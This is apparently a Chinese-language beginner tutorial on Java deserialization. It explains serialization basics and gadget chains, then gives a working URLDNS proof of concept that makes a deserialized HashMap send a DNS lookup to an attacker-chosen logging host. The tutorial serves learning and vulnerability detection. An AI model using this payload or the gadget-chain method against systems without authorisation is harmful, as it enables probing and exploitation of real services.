Java反序列化基础篇-01-反序列化概念与利用
字数 1410 2025-08-12 11:34:02
Java反序列化基础:概念与利用
0x01 前言
Java反序列化是Java安全领域的重要基础,本文旨在帮助初学者打好基础,避免直接分析复杂漏洞(如CC链、Shiro POC)时走弯路。建议先了解Java反射机制,推荐参考"Java安全漫谈系列"。
0x02 序列化与反序列化基础
1. 基本概念
- 序列化:将对象转换为字节序列(字符串)的过程
- 反序列化:将字节序列(字符串)恢复为对象的过程
2. 序列化的用途
- 数据持久化:将对象永久保存到硬盘或文件中
- 远程通信:通过网络传输对象字节序列
- 应用场景:
- 内存对象保存到文件或数据库
- 网络套接字传输对象
- RMI(远程方法调用)传输对象
3. 常见序列化协议
- XML & SOAP
- JSON
- Protobuf
- Java原生序列化(本文重点)
0x03 代码实现
1. 示例代码
Person.java(可序列化类)
package src;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
}
SerializationTest.java(序列化)
package src;
import java.io.*;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
System.out.println(person);
serialize(person);
}
}
UnserializeTest.java(反序列化)
package src;
import java.io.*;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
public static void main(String[] args) throws Exception {
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
2. 序列化特性
-
Serializable接口:
- 必须实现Serializable或Externalizable接口才能序列化
- 空接口,无需实现任何方法
- 删除接口会导致序列化失败
-
继承关系:
- 父类未实现Serializable时,需要提供无参构造函数
- 实现Serializable的子类也可序列化
-
静态成员:
- 静态成员变量不能被序列化(属于类而非对象)
-
transient关键字:
- 标记为transient的成员变量不参与序列化
0x04 反序列化安全问题
1. 关键方法
writeObject和readObject:- 可被开发者重写
- 反序列化漏洞通常与
readObject方法有关
2. 漏洞产生形式
-
直接调用危险方法:
- 入口类的readObject直接调用危险方法(如Runtime.exec)
- 实际开发中较少见
-
参数可控调用链:
- 入口参数包含可控类,该类有危险方法
- 入口参数可控类调用其他有危险方法的类
- 构造函数/静态代码块在类加载时隐式执行
3. 攻击路线
- 攻击前提:继承Serializable接口
- 入口类(source):
- 重写readObject调用常见函数
- 参数类型宽泛(如可传入类作为参数)
- 优先选择JDK自带类
- 调用链(gadget chain):相同名称、相同类型的方法调用
- 执行类(sink):最终执行危险操作(如RCE、SSRF、文件操作等)
0x05 URLDNS利用链分析
1. 特点
- 简单易用,适合检测反序列化漏洞
- 使用Java内置类,无第三方依赖
- 无回显时可通过DNS请求确认漏洞存在
2. Gadget Chain
HashMap.readObject()
→ HashMap.putVal()
→ HashMap.hash()
→ URL.hashCode()
→ URLStreamHandler.hashCode()
→ URLStreamHandler.getHostAddress()
→ InetAddress.getByName()
3. 完整POC
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://your-dns-log-url");
// 使用反射防止序列化时触发DNS请求
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url, 1234); // 临时设置hashCode
hashmap.put(url, 1);
hashcodefile.set(url, -1); // 恢复为-1以便反序列化时触发
serialize(hashmap);
}
4. 关键点解析
- 问题:直接序列化HashMap会立即触发DNS请求
- 解决方案:使用反射临时修改URL对象的hashCode字段
- 序列化前设为非-1值避免触发
- 序列化后恢复为-1确保反序列化时触发
- 反射技术:动态修改对象属性,绕过常规访问限制
0x06 总结与建议
- 理解基础概念比直接分析复杂漏洞更重要
- URLDNS链是学习反序列化的良好起点
- 掌握反射技术对Java安全研究至关重要
- 后续学习方向:
- Java反射机制深入
- 更复杂的利用链分析(如Commons Collections链)
- 实际漏洞分析(如Shiro、Fastjson等)